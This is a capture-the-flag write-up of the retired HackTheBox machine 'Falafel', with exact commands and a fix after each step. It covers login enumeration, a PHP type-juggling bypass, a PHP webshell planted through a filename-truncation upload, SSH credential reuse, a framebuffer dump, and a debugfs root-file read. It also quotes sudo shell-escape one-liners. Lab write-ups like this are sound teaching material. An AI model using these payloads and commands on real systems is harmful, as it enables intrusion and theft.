Falafel
Summary
Target: HTB "Falafel" (<retired-instance-ip>), Apache/2.4.18 (Ubuntu), custom PHP app "Falafel Lovers".
- Recon: robots.txt disallowed /*.txt; ffuf against a common-content wordlist surfaced login.php, upload.php, uploads/ (403), .htaccess. Posting a wrong password to login.php for admin returned "Wrong identification", while a nonexistent username returned "Try again.." — a response-text oracle confirming admin as a [REDACTED: recovered credential] username. - Vuln-identification / auth bypass: login.php used a loose (==) PHP comparison; posting a "magic hash" value as the password for admin (PHP type-juggling bypass, no real password needed) authenticated as admin and returned a [REDACTED: recovered credential] PHPSESSID. - Exploitation: The authenticated upload.php page is a URL-based image importer — server-side it fetches the user-supplied URL with wget and its logic is not properly sanitized against the filename, so it echoed back the exact shell command it ran (cd /var/www/html/uploads/<token>; wget '<user-url>'). Serving a file named with ~232 filler characters + .php.png from an user-hosted HTTP listener bypassed the app's image-extension allow-list, while Apache's handler still dispatched the file to mod_php because .php appears anywhere in the filename (double-extension misconfig). This delivered a working PHP webshell (<?php system($_GET['cmd']); ?>) at a predictable /uploads/<token>/<name> path. - Foothold: Via the webshell (www-data), the app's local config files disclosed a hardcoded credential, [REDACTED: recovered credential]. This password was [REDACTED: recovered credential] over SSH for local user moshe, giving a full interactive shell and user.txt directly. - Privilege escalation: moshe had no sudo rights but belonged to the video group, granting read access to /dev/fb0 (framebuffer device). Dumping the raw framebuffer over SSH and converting it locally with ImageMagick (1176x885, BGRA/RGBA) recovered a rendered on-screen password for user yossi: [REDACTED: recovered credential]. - Root: yossi had no direct read access to /root/root.txt, but belonged to the disk group, which grants raw read access to the root block device /dev/sda1. Running debugfs -R 'cat /root/root.txt' /dev/sda1 read the flag straight out of the raw ext4 filesystem, bypassing normal file permissions entirely — root-equivalent file disclosure without ever obtaining an interactive root shell.
Flags: user.txt=[REDACTED: flag], root.txt=[REDACTED: flag].
Attack path — how the box was taken
Exact commands 4
echo '$TARGET falafel.htb' | sudo tee -a /etc/hostsffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,307,401,403 -t 40 -scurl -s -i -X POST -d 'username=admin&password=[REDACTED: credential]' http://$TARGET/login.phpcurl -s -i -X POST -d 'username=doesnotexist&password=[REDACTED: credential]' http://$TARGET/login.phpFixReturn a single generic error message for all failed login attemptsMedium
Exact commands 1
curl -sS -i -c cookie.txt -b cookie.txt http://$TARGET/login.php -d 'username=admin&password=[REDACTED: credential]'FixReplace loose PHP equality with strict equality in all authentication comparisonsCritical
Exact commands 4
python3 -c "open('c'*232+'.php.png','w').write('<?php system(\$_GET[\"cmd\"]); ?>')"python3 -m http.server 8002PAYLOAD=$(python3 -c "print('c'*232+'.php.png')"); curl -sS -b cookie.txt http://$TARGET/upload.php -d "url=http://$INTERNAL_TARGET:8002/${PAYLOAD}"TOKEN=[REDACTED: protected value]; SHELL=$(python3 -c "print('c'*232+'.php')"); curl -s "http://$TARGET/uploads/${TOKEN}/${SHELL}?cmd=id"FixRemove server-side URL fetch from the upload feature and enforce strict single-extension validationCritical
Exact commands 2
TOKEN=[REDACTED: protected value]; SHELL=$(python3 -c "print('c'*232+'.php')"); curl -s "http://$TARGET/uploads/${TOKEN}/${SHELL}?cmd=cat+/var/www/html/connection.php"sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null moshe@$TARGET 'id; cat /home/moshe/user.txt'FixRemove hardcoded credentials from source code and enforce unique passwords per serviceHigh
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null moshe@$TARGET 'cat /dev/fb0' > /tmp/falafel_fb.rawconvert -size 1176x885 -depth 8 bgra:/tmp/falafel_fb.raw /tmp/falafel_fb_bgra.pngFixRemove non-administrative users from the video group to prevent framebuffer accessHigh
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null yossi@$TARGET 'id; mount'sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null yossi@$TARGET "debugfs -R 'cat /root/root.txt' /dev/sda1 2>/dev/null"FixRemove non-administrative users from the disk group to eliminate raw block-device accessCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Connection.Php) To Moshe, /Dev/Fb0 Framebuffer Extraction To Yossi, And Debugfs Disk Group Abuse To RootCriticalExposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |